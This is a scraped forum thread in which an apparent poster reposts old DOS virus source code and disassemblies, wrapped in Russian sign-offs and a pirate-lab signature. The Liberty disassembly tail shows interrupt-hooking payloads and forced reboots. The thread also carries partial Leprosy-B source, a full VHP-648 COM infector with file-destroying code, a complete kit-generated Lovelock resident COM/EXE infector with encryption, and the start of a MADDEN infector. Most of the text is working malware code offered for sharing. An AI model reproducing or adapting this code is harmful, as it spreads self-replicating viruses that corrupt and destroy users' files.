CS:0911 C3 RET
;
; The next routine displays 'M A G I C ! !' on the screen for a second
;
CS:0912 50 PUSH AX
CS:0913 53 PUSH BX
CS:0914 51 PUSH CX
CS:0915 52 PUSH DX
CS:0916 56 PUSH SI
CS:0917 57 PUSH DI
CS:0918 1E PUSH DS
CS:0919 06 PUSH ES
CS:091A 9C PUSHF
CS:091B BB00B8 MOV BX,B800 ;
CS:091E 8EDB MOV DS,BX ;
CS:0920 0E PUSH CS ;
CS:0921 07 POP ES ;
CS:0922 33F6 XOR SI,SI ;
CS:0924 BF6809 MOV DI,0968 ;
CS:0927 B9A000 MOV CX,00A0 ;
CS:092A F3 REPZ ;
CS:092B A4 MOVSB ; Save screen
CS:092C BB00B8 MOV BX,B800 ;
CS:092F 8EC3 MOV ES,BX ;
CS:0931 0E PUSH CS ;
CS:0932 1F POP DS ;
CS:0933 33FF XOR DI,DI ;
CS:0935 BB080A MOV BX,0A08 ;
CS:0938 B95000 MOV CX,0050 ;
CS:093B B6CE MOV DH,CE ;
CS:093D 8A17 MOV DL,[BX] ;
CS:093F 80EA03 SUB DL,03 ;
CS:0942 26 ES: ;
CS:0943 8915 MOV [DI],DX ;
CS:0945 47 INC DI ;
CS:0946 47 INC DI ;
CS:0947 43 INC BX ;
CS:0948 E2F3 LOOP 093D ; Put text on screen
CS:094A E2FE LOOP 094A ; Wait
CS:094C BB00B8 MOV BX,B800 ;
CS:094F 8EC3 MOV ES,BX ;
CS:0951 0E PUSH CS ;
CS:0952 1F POP DS ;
CS:0953 33FF XOR DI,DI ;
CS:0955 BE6809 MOV SI,0968 ;
CS:0958 B9A000 MOV CX,00A0 ;
CS:095B F3 REPZ ;
CS:095C A4 MOVSB ; Restore screen
CS:095D 9D POPF
CS:095E 07 POP ES
CS:095F 1F POP DS
CS:0960 5F POP DI
CS:0961 5E POP SI
CS:0962 5A POP DX
CS:0963 59 POP CX
CS:0964 5B POP BX
CS:0965 58 POP AX
CS:0966 C3 RET
;
; A temporary screen buffer
;
DS:0960 4D 41 47 49 43 4D 41 47
DS:0970 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
DS:0980 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
DS:0990 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
DS:09A0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
DS:09B0 47 49 43 4D 41 47 49 43-4D 41 47 49 43 4D 41 47
DS:09C0 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
DS:09D0 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
DS:09E0 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
DS:09F0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
DS:0A00 47 49 43 4D 41 47 49 43
;
; The encrypted text 'M A G I C ! !'
;
DS:0A00 23 23 23 23 23 23 23 23
DS:0A10 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
DS:0A20 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
DS:0A30 23 23 23 23 23 23 23 23-23 23 50 23 44 23 4A 23
DS:0A40 4C 23 46 23 23 24 23 24-23 24 23 23 23 23 23 23
DS:0A50 23 23 23 23 23 23 23 23
;
; The next routine is the timer routine. It activates all the gadgets.
;
CS:0A58 9C PUSHF
CS:0A59 50 PUSH AX
CS:0A5A 1E PUSH DS
CS:0A5B 2E CS:
CS:0A5C FF06940A INC WORD PTR [0A94]
CS:0A60 2E CS:
CS:0A61 833E960A0B CMP WORD PTR [0A96],+0B ; Time for a reboot ?
CS:0A66 7433 JZ 0A9B
CS:0A68 2E CS:
CS:0A69 A1980A MOV AX,[0A98]
CS:0A6C 2E CS:
CS:0A6D 3906940A CMP [0A94],AX ; Time for gadgets on ?
CS:0A71 7430 JZ 0AA3
CS:0A73 7217 JB 0A8C
CS:0A75 050002 ADD AX,0200
CS:0A78 2E CS:
CS:0A79 3906940A CMP [0A94],AX ; Time for gadgets off ?
CS:0A7D 7446 JZ 0AC5
CS:0A7F 770B JA 0A8C
CS:0A81 2E CS:
CS:0A82 833E960A0A CMP WORD PTR [0A96],+0A ; Time for screen messing ?
CS:0A87 7503 JNZ 0A8C
CS:0A89 E886FE CALL 0912 ; Mess up screen
CS:0A8C 1F POP DS
CS:0A8D 58 POP AX
CS:0A8E 9D POPF
CS:0A8F EA00000000 JMP 0000:0000 ; Continue
CS:0A9B B8FFFF MOV AX,FFFF
CS:0A9E 50 PUSH AX
CS:0A9F 33C0 XOR AX,AX
CS:0AA1 50 PUSH AX
CS:0AA2 CB RETF
CS:0AA3 2E CS:
CS:0AA4 812E980A5001 SUB WORD PTR [0A98],0150
CS:0AAA 33C0 XOR AX,AX
CS:0AAC 8ED8 MOV DS,AX
CS:0AAE 2E CS:
CS:0AAF C606470B00 MOV BYTE PTR [0B47],00
CS:0AB4 90 NOP
CS:0AB5 2E CS:
CS:0AB6 C606950B00 MOV BYTE PTR [0B95],00
CS:0ABB 90 NOP
CS:0ABC 2E CS:
CS:0ABD C606080C00 MOV BYTE PTR [0C08],00
CS:0AC2 90 NOP
CS:0AC3 EBC7 JMP 0A8C
CS:0AC5 2E CS:
CS:0AC6 C606470BFF MOV BYTE PTR [0B47],FF
CS:0ACB 90 NOP
CS:0ACC 2E CS:
CS:0ACD C606950BFF MOV BYTE PTR [0B95],FF
CS:0AD2 90 NOP
CS:0AD3 2E CS:
CS:0AD4 C606080CFF MOV BYTE PTR [0C08],FF
CS:0AD9 90 NOP
CS:0ADA 2E CS:
CS:0ADB C706940A0000 MOV WORD PTR [0A94],0000
CS:0AE1 2E CS:
CS:0AE2 FF06960A INC WORD PTR [0A96]
CS:0AE6 EBA4 JMP 0A8C
CS:0AE8 A14000 MOV AX,[0040]
CS:0AEB 2E CS:
CS:0AEC A3430B MOV [0B43],AX
CS:0AEF A14200 MOV AX,[0042]
CS:0AF2 2E CS:
CS:0AF3 A3450B MOV [0B45],AX
CS:0AF6 B8360B MOV AX,0B36
CS:0AF9 FA CLI
CS:0AFA A34000 MOV [0040],AX
CS:0AFD 8C0E4200 MOV [0042],CS
CS:0B01 C3 RET
CS:0B02 FA CLI
CS:0B03 A15000 MOV AX,[0050]
CS:0B06 2E CS:
CS:0B07 A3910B MOV [0B91],AX
CS:0B0A A15200 MOV AX,[0052]
CS:0B0D 2E CS:
CS:0B0E A3930B MOV [0B93],AX
CS:0B11 B8840B MOV AX,0B84
CS:0B14 A35000 MOV [0050],AX
CS:0B17 8C0E5200 MOV [0052],CS
CS:0B1B C3 RET
CS:0B1C FA CLI
CS:0B1D A15C00 MOV AX,[005C]
CS:0B20 2E CS:
CS:0B21 A3040C MOV [0C04],AX
CS:0B24 A15E00 MOV AX,[005E]
CS:0B27 2E CS:
CS:0B28 A3060C MOV [0C06],AX
CS:0B2B B8FC0B MOV AX,0BFC
CS:0B2E A35C00 MOV [005C],AX
CS:0B31 8C0E5E00 MOV [005E],CS
CS:0B35 C3 RET
;
; Now the gadgets' routines. When activated, only the word MAGIC!! will be
; sent to screen, port, and printer.
;
CS:0B36 9C PUSHF ; Screen
CS:0B37 80FC09 CMP AH,09
CS:0B3A 740F JZ 0B4B
CS:0B3C 80FC0A CMP AH,0A
CS:0B3F 740A JZ 0B4B
CS:0B41 9D POPF
CS:0B42 EA00000000 JMP 0000:0000
CS:0B4B 2E CS:
CS:0B4C 803E470BFF CMP BYTE PTR [0B47],FF
CS:0B51 74EE JZ 0B41
CS:0B53 53 PUSH BX
CS:0B54 56 PUSH SI
CS:0B55 50 PUSH AX
CS:0B56 33DB XOR BX,BX
CS:0B58 2E CS:
CS:0B59 833E480B07 CMP WORD PTR [0B48],+07
CS:0B5E 7507 JNZ 0B67
CS:0B60 2E CS:
CS:0B61 C706480B0000 MOV WORD PTR [0B48],0000
CS:0B67 2E CS:
CS:0B68 8B1E480B MOV BX,[0B48]
CS:0B6C 2E CS:
CS:0B6D 8B3E480B MOV DI,[0B48]
CS:0B71 47 INC DI
CS:0B72 2E CS:
CS:0B73 893E480B MOV [0B48],DI
CS:0B77 BE3B0C MOV SI,0C3B
CS:0B7A 58 POP AX
CS:0B7B 2E CS:
CS:0B7C 8A00 MOV AL,[BX+SI]
CS:0B7E FEC0 INC AL
CS:0B80 5E POP SI
CS:0B81 5B POP BX
CS:0B82 EBBD JMP 0B41
CS:0B84 9C PUSHF ; Port
CS:0B85 80FC01 CMP AH,01
CS:0B88 740D JZ 0B97
CS:0B8A 80FC02 CMP AH,02
CS:0B8D 7436 JZ 0BC5
CS:0B8F 9D POPF
CS:0B90 EA00000000 JMP 0000:0000
CS:0B97 2E CS:
CS:0B98 803E950BFF CMP BYTE PTR [0B95],FF
CS:0B9D 74F0 JZ 0B8F
CS:0B9F 53 PUSH BX
CS:0BA0 56 PUSH SI
CS:0BA1 33DB XOR BX,BX
CS:0BA3 2E CS:
CS:0BA4 8A1E960B MOV BL,[0B96]
CS:0BA8 BE3B0C MOV SI,0C3B
CS:0BAB 2E CS:
CS:0BAC 8A00 MOV AL,[BX+SI]
CS:0BAE 2E CS:
CS:0BAF FE06960B INC BYTE PTR [0B96]
CS:0BB3 2E CS:
CS:0BB4 803E960B07 CMP BYTE PTR [0B96],07
CS:0BB9 7506 JNZ 0BC1
CS:0BBB 2E CS:
CS:0BBC C606960B00 MOV BYTE PTR [0B96],00
CS:0BC1 5E POP SI
CS:0BC2 5B POP BX
CS:0BC3 EBCA JMP 0B8F
CS:0BC5 2E CS:
CS:0BC6 803E950BFF CMP BYTE PTR [0B95],FF
CS:0BCB 74C2 JZ 0B8F
CS:0BCD 2E CS:
CS:0BCE FF1E910B CALL FAR [0B91]
CS:0BD2 80FC00 CMP AH,00
CS:0BD5 7F24 JG 0BFB
CS:0BD7 53 PUSH BX
CS:0BD8 56 PUSH SI
CS:0BD9 33DB XOR BX,BX
CS:0BDB 2E CS:
CS:0BDC 8A1E960B MOV BL,[0B96]
CS:0BE0 BE3B0C MOV SI,0C3B
CS:0BE3 2E CS:
CS:0BE4 8A00 MOV AL,[BX+SI]
CS:0BE6 2E CS:
CS:0BE7 FE06960B INC BYTE PTR [0B96]
CS:0BEB 2E CS:
CS:0BEC 803E960B07 CMP BYTE PTR [0B96],07
CS:0BF1 7506 JNZ 0BF9
CS:0BF3 2E CS:
CS:0BF4 C606960B00 MOV BYTE PTR [0B96],00
CS:0BF9 5E POP SI
CS:0BFA 5B POP BX
CS:0BFB CF IRET
CS:0BFC 9C PUSHF ; Printer
CS:0BFD 80FC00 CMP AH,00
CS:0C00 7407 JZ 0C09
CS:0C02 9D POPF
CS:0C03 EA00000000 JMP 0000:0000
CS:0C09 2E CS:
CS:0C0A 803E080CFF CMP BYTE PTR [0C08],FF
CS:0C0F 74F1 JZ 0C02
CS:0C11 53 PUSH BX
CS:0C12 56 PUSH SI
CS:0C13 33DB XOR BX,BX
CS:0C15 2E CS:
CS:0C16 8A1E3A0C MOV BL,[0C3A]
CS:0C1A BE3B0C MOV SI,0C3B
CS:0C1D 2E CS:
CS:0C1E 8A00 MOV AL,[BX+SI]
CS:0C20 FEC0 INC AL
CS:0C22 2E CS:
CS:0C23 FE063A0C INC BYTE PTR [0C3A]
CS:0C27 2E CS:
CS:0C28 803E3A0C07 CMP BYTE PTR [0C3A],07
CS:0C2D 7507 JNZ 0C36
CS:0C2F 2E CS:
CS:0C30 C6063A0C00 MOV BYTE PTR [0C3A],00
CS:0C35 90 NOP
CS:0C36 5E POP SI
CS:0C37 5B POP BX
CS:0C38 EBC8 JMP 0C02
;
; The encrypted text 'MAGIC!!'
;
DS:0C3A 4C 40 46 48 42 20 20
;
; Important note:
; When there is no longer space on the disk to infect a file, the Liberty
; virus will infect the bootsector. This is done in the 'OHIO' way.
;
;
;
; End of Liberty (2867) disassembly. (c) 1991 by Remco van Helvoort.
; This document may be freely shared. If you have any comments or some
; nice little viruses for analysis, feel free to drop me a note.
;
; Remco van Helvoort
; Bredastraat 3
; 5224 VD 's-Hertogenbosch
; Holland
;

; ننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننن
; نننننننننننننننننننن> and Remember Don't Forget to Call <نننننننننننننننن
; نننننننننننن> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <نننننننننن
; ننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننننن



Hص ر ×زدؤإ ×سإ سثءعءج... يدضإش إفإ قشد ؤدآء×جہ ذدشدح...
[–] ًدثء _All_ !

ژ،ڈ،پ،ژ،پپ،، DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2،5080ژ244،0 FTP://87.224.224.182

... ïب, ة ثءثصجة...

John Zaicev

unread,
May 18, 2012, 5:04:43 PM5/18/12
to
[√] Привет _All_ !

; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).


title "Leprosy-B Virus by PCM2, August 1990"

cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute


code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP

;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action

encrypt_val db 00h ; Hold value to encrypt by here

; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from

; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Запомни, сынок: живот - не ОТ пива, живот - ДЛЯ пива!

John Zaicev

unread,
May 19, 2012, 7:09:43 PM5/19/12
to
[√] Привет _All_ !

name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C

start:
jmp virus

message db 'Hello, world!$'

mov ah,9
mov dx,offset message
int 21
int 20

virus:
push cx ;Save CX

mov dx,offset data ;Restore original first instruction
modify equ $-2 ;The instruction above is changed
; before each contamination
cld
mov si,dx
add si,saveins-data ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,dx ;Keep SI pointed at data

mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so

skip1:
push es ;Save ES
mov ah,2F ;Get current DTA in ES:BX
int 21
mov word ptr [si+0],bx ;dtaadr
mov word ptr [si+2],es
pop es ;Restore ES

mov dx,mydta-data
add dx,si
mov ah,1A ;Set DTA
int 21

push es ;Save ES & SI
push si
mov es,ds:[environ] ;Environment address
mov di,0
n_00015A: ;Search 'PATH=' in the environment
pop si ;Restore data offset in SI
push si
add si,pathstr-data
lodsb
mov cx,8000 ;Maximum 32K in environment
repne scasb ;Search for first letter ('P')
mov cx,4 ;4 letters in 'PATH'
n_000169:
lodsb ;Search for next char
scasb
jne n_00015A ;If not found, search for next 'P'
loop n_000169 ;Loop until done
pop si ;Restore SI & ES
pop es

mov [si+16],di ;Save 'PATH' offset in poffs
mov di,si
add di,fname-data ;Point SI & DI at '=' sign
mov bx,si ;Point BX at data area
add si,fname-data
mov di,si
jmp short n_0001BF

n_000185:
cmp word ptr [si+16],6C ;poffs
jne n_00018F
jmp olddta
n_00018F:
push ds
push si
mov ds,es:[environ]
mov di,si
mov si,es:[di+16] ;poffs
add di,fname-data
n_0001A1:
lodsb
cmp al,';'
je n_0001B0
cmp al,0
je n_0001AD
stosb
jmp n_0001A1
n_0001AD:
mov si,0
n_0001B0:
pop bx
pop ds
mov [bx+16],si ;poffs
cmp byte ptr [di-1],'\'
je n_0001BF
mov al,'\' ;Add '\' if not already present
stosb

n_0001BF:
mov [bx+18],di ;Save '=' offset in eqoffs
mov si,bx ;Restore data pointer in SI
add si,allcom-data
mov cx,6 ;6 bytes in ASCIIZ '*.COM'
rep movsb ;Move '*.COM' at fname
mov si,bx ;Restore SI

mov ah,4E ;Find first file
mov dx,fname-data
add dx,si
mov cx,11b ;Hidden, Read/Only or Normal files
int 21
jmp short n_0001E3

findnext:
mov ah,4F ;Find next file
int 21
n_0001E3:
jnc n_0001E7 ;If found, try to contaminate it
jmp n_000185 ;Otherwise search in another directory

n_0001E7:
mov ax,[si+75] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?

;If so, file is already contains the virus, search for another:

je findnext
cmp [si+79],64000d ;Is file size greather than 64,000 bytes?
ja findnext ;If so, search for next file
cmp word ptr [si+79],10d ;Is file size less than 10 bytes?
jb findnext ;If so, search for next file

mov di,[si+18] ;eqoffs
push si ;Save SI
add si,namez-data ;Point SI at namez
n_000209:
lodsb
stosb
cmp al,0
jne n_000209

pop si ;Restore SI
mov ax,4300 ;Get file attributes
mov dx,fname-data
add dx,si
int 21

mov [si+8],cx ;Save them in fattrib
mov ax,4301 ;Set file attributes

;The next `db's are there because MASM can't assemble
; the instruction `and cx,0FFFE' correctly (the fool!):

db 081,0E1,0FE,0FF
; and cx,not 1 ;Turn off Read Only flag
mov dx,fname-data
add dx,si
int 21

mov ax,3D02 ;Open file with Read/Write access
mov dx,fname-data
add dx,si
int 21
jnc n_00023E
jmp oldattr ;Exit on error

n_00023E:
mov bx,ax ;Save file handle in BX
mov ax,5700 ;Get file date & time
int 21
mov [si+4],cx ;Save time in ftime
mov [si+6],dx ;Save date in fdate

mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?

;If so, destroy file (don't contaminate). Now this code is disabled.

jmp short n_000266 ;CHANGED. Was jnz here

;Destroy file by rewriting an illegal jmp as first instruction:

mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
mov dx,si
add dx,bad_jmp-data ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit

;Try to contaminate file:

;Read first instruction of the file (first 3 bytes) and save it in saveins:

n_000266:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
mov dx,saveins-data ;Put them there
add dx,si
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not

;Move file pointer to end of file:

mov ax,4202 ;LSEEK from end of file
mov cx,0 ;0 bytes from end
mov dx,0
int 21
jc oldtime ;Exit on error

mov cx,ax ;Get the value of file pointer
sub ax,3 ;Subtract 3 from it to get real code size
mov [si+14d],ax ;Save result in filloc
add cx,data-(virus-100)
mov di,si
sub di,data-modify ;A little self-modification
mov [di],cx

mov ah,40 ;Write to file handle
mov cx,enddata-virus ;Virus code length as bytes to be written
mov dx,si
sub dx,data-virus ;Now DX points at virus label
int 21
jc oldtime ;Exit on error
cmp ax,enddata-virus ;Are all bytes written?
jne oldtime ;Exit if not

mov ax,4200 ;LSEEK from the beginning of the file
mov cx,0 ;Just at the file beginning
mov dx,0
int 21
jc oldtime ;Exit on error

;Rewrite the first instruction of the file with a jump to the virus code:

mov ah,40 ;Write to file handle
mov cx,3 ;3 bytes to write
mov dx,si
add dx,newjmp-data ;Write THESE bytes
int 21

oldtime:
mov dx,[si+6] ;Restore file date
mov cx,[si+4] ; and time

;And these again are due to the MASM 5.0 foolness:

db 081,0E1,0E0,0FF
db 081,0C9,01F,000
; and cx,not 11111b
; or cx,11111b ;Set seconds to 62 (?!)

mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21

oldattr:
mov ax,4301 ;Set file attributes
mov cx,[si+8] ;They were saved in fattrib
mov dx,fname-data
add dx,si
int 21

olddta:
push ds ;Save DS
mov ah,1A ;Set DTA
mov dx,[si+0] ;Restore saved DTA
mov ds,[si+2]
int 21
pop ds ;Restore DS

exit:
pop cx ;Restore CX
xor ax,ax ;Clear registers
xor bx,bx
xor dx,dx
xor si,si
mov di,100 ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret -1

data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 0EBh,0Fh,90 ;Original first 3 bytes
newjmp db 0E9 ;Code of jmp instruction
filloc dw ? ;File pointer is saved here
allcom db '*.COM',0 ;Filespec to search for
poffs dw ? ;Address of 'PATH' string
eqoffs dw ? ;Address of '=' sign
pathstr db 'PATH='
fname db 40 dup (' ') ;Path name to search for

;Disk Transfer Address for Find First / Find Next:

mydta label byte
drive db ? ;Drive to search for
pattern db 13d dup (?) ;Search pattern
reserve db 7 dup (?) ;Not used
attrib db ? ;File attribute
time dw ? ;File time
date dw ? ;File date
fsize dd ? ;File size
namez db 13d dup (?) ;File name found

;This replaces the first instruction of a destroyed file:

bad_jmp db 0EA,0Bh,2,13,58
enddata label byte

code ends
end start


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Жизнь прожить - не два пальца обоссать!

John Zaicev

unread,
May 19, 2012, 7:09:57 PM5/19/12
to
[√] Привет _All_ !

; Virus generated by Gэ 0.70б
; Gэ written by Dark Angel of Phalcon/Skism

; File: LOVELOCK.ASM
; Lovelock by Ender

checkres1 = 'DA'
checkres2 = 'PS'
id = 'DA'

.model tiny
.code

; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h

start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h,0037h ; xor word ptr [bx], xxxx
encryptvalue dw 0000h
inc bx
inc bx
loop encrypt_loop
endencrypt:
call next
next:
pop bp
sub bp, offset next

push es
push ds

mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install

mov ax, ds
dec ax
mov ds, ax

sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16

push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw

xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory

done_install:
pop ds
pop es
cmp sp, id
jne restore_COM
restore_EXE:
mov ax, es
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?

restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
ret

INT24:
mov al, 0003h
iret

int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx

mov ax, 2524h
lea dx, INT24 ; ASSumes ds=cs
int 0021h

push cs
pop es


mov bx, dx
cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM
jz return ; Exit if so

lds dx, cs:filename
mov ax, 4300h
int 0021h
jc return
push cx
push ds
push dx

mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h

lds dx, cs:filename
mov ax, 3D02h
int 0021h
xchg ax, bx

push cs
pop ds

mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx

mov dx, offset readbuffer
mov ah, 003Fh
mov cx, 001Ah
int 0021h

xor dx, dx
xor cx, cx
mov ax, 4202h
int 0021h

cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE

mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close

cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so

cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so

mov di, offset old3
mov si, offset readbuffer
movsw
movsb

mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:

lea si, readbuffer+14h
lea di, origCSIP
movsw ; Save original CS and IP
movsw

sub si, 000Ah
movsw ; Save original SS and SP
movsw

push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl

push dx ; Save file size on the
push ax ; stack

sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX

mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX

mov word ptr [readbuffer+10h], id ; Initial SP
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+14h], dx ; IP Offset
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.

mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx

add ax, heap-start
adc dx, 0000h

mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h

mov word ptr [readbuffer+2], ax ; the EXE header.
mov word ptr [readbuffer+4], dx ; Fix-up the file size in

pop bx ; restore file handle
mov cx, 001Ah

continue_infect:
push cx ; save # bytes to write

get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0021h

or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is

add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx

mov cx, (heap-encrypt)/2
mov di, offset encryptbuffer
mov si, offset ENCRYPT
push si
rep movsw ; copy virus to buffer

mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]


mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h

xor cx, cx
mov ax, 4200h
xor dx, dx
int 0021h


mov dx, offset readbuffer
mov ah, 0040h
pop cx
int 0021h


close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h

mov ah, 003Eh
int 0021h

pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h

pop dx
pop ds
mov ax, 2524h
int 0021h

exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax

db 00EAh ; return to original handler
oldint21 dd ?

signature db '[PS/Gэ]',0 ; Phalcon/Skism Gэ
creator db 'Ender',0
virusname db 'Lovelock',0

heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Ложись девка и большая и маленькая.

John Zaicev

unread,
May 19, 2012, 7:10:29 PM5/19/12
to
[√] Привет _All_ !

;The MADDEN virus is an EXE file infector which can jump from directory to
;directory. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.


.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus


;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped
together

;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
